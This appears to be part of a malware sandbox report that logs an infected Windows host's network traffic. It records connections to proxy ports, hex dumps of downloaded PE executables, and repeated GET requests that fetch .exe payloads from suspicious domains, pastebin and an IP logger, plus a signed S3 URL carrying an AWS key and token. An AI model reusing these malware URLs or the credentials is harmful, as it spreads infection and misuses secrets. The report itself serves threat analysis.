Source: global traffic	TCP traffic: 192.168.2.5:50367 -> 103.218.25.245:8080
Source: global traffic	TCP traffic: 192.168.2.5:50368 -> 51.178.231.34:8080
Source: global traffic	TCP traffic: 192.168.2.5:50371 -> 217.196.21.170:5678
Source: global traffic	TCP traffic: 192.168.2.5:50372 -> 211.54.26.187:3128
Source: global traffic	TCP traffic: 192.168.2.5:50374 -> 150.230.59.34:8080
Source: global traffic	TCP traffic: 192.168.2.5:50375 -> 110.77.184.196:5678
Source: global traffic	TCP traffic: 192.168.2.5:50376 -> 201.163.73.93:55443
Source: global traffic	TCP traffic: 192.168.2.5:50377 -> 130.255.162.199:12703
Source: global traffic	TCP traffic: 192.168.2.5:50378 -> 104.236.0.129:22167
Source: global traffic	TCP traffic: 192.168.2.5:50379 -> 132.148.245.169:38780
Source: global traffic	TCP traffic: 192.168.2.5:50380 -> 23.152.40.15:5050
Source: global traffic	TCP traffic: 192.168.2.5:50381 -> 103.156.16.182:1111
Source: global traffic	TCP traffic: 192.168.2.5:50382 -> 51.178.182.200:63172
Source: global traffic	TCP traffic: 192.168.2.5:50385 -> 51.158.79.76:16379
Source: global traffic	TCP traffic: 192.168.2.5:50386 -> 188.164.193.178:11251
Source: global traffic	TCP traffic: 192.168.2.5:50388 -> 136.243.82.121:1082
Source: global traffic	TCP traffic: 192.168.2.5:50389 -> 185.186.17.57:5678
Source: global traffic	TCP traffic: 192.168.2.5:50391 -> 36.89.16.186:8866
Source: global traffic	TCP traffic: 192.168.2.5:50392 -> 201.238.248.139:9229

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Mar 2024 02:30:54 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Mon, 11 Mar 2024 02:30:02 GMTETag: "1ca8e4-6135951a2b6e0"Accept-Ranges: bytesContent-Length: 1878244Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Mar 2024 02:30:54 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Mon, 11 Mar 2024 02:30:02 GMTETag: "1ca8e4-6135951a2b6e0"Accept-Ranges: bytesContent-Length: 1878244Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Mar 2024 02:30:57 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Mon, 11 Mar 2024 02:30:02 GMTETag: "1ca8e4-6135951a2b6e0"Accept-Ranges: bytesContent-Length: 1878244Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Mar 2024 02:30:57 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Mon, 11 Mar 2024 02:30:02 GMTETag: "1ca8e4-6135951a2b6e0"Accept-Ranges: bytesContent-Length: 1878244Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Mar 2024 02:31:03 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Mon, 11 Mar 2024 02:30:02 GMTETag: "1ca8e4-6135951a2b6e0"Accept-Ranges: bytesContent-Length: 1878244Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.suConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.inkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.inkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1lyxz HTTP/1.1Host: iplogger.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: lawyerbuyer.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: namemail.org
Source: global traffic	HTTP traffic detected: GET /ppg8x HTTP/1.1Host: sty.ink
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com
